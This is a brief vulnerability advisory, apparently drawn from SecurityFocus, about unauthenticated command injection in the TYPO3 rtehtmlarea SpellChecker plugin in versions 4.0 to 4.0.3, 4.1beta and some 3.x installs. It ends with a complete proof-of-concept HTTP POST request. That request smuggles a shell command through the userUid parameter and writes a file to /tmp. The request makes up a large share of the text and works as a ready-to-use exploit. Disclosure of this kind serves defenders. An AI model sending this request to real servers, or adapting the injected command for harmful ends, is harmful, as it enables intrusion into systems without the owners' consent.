source: https://www.securityfocus.com/bid/21680/info

TYPO3 is prone to multiple vulnerabilities that allow attackers to execute arbitrary commands. This issue occurs because the application fails to properly sanitize user-supplied data.

Exploiting these issues allows unauthenticated attackers to execute arbitrary system commands with the privileges of the application.

Versions 4.0 to 4.0.3 and 4.1beta are vulnerable; versions 3.7 and 3.8 are also vulnerable if they have the optional 'rtehtmlarea' extension installed.

POST /typo3/sysext/rtehtmlarea/htmlarea/plugins/SpellChecker/spell-
check-logic.php?id=1 HTTP/1.1
Host: www.example.com
User-Agent: none
Content-Type: application/x-www-form-urlencoded
Content-Length: 111

psell_mode=fast&to_p_dict=1&cmd=learn&userUid=test;+echo+'shell'+>+
/tmp/shell.txt+%23&enablePersonalDicts=true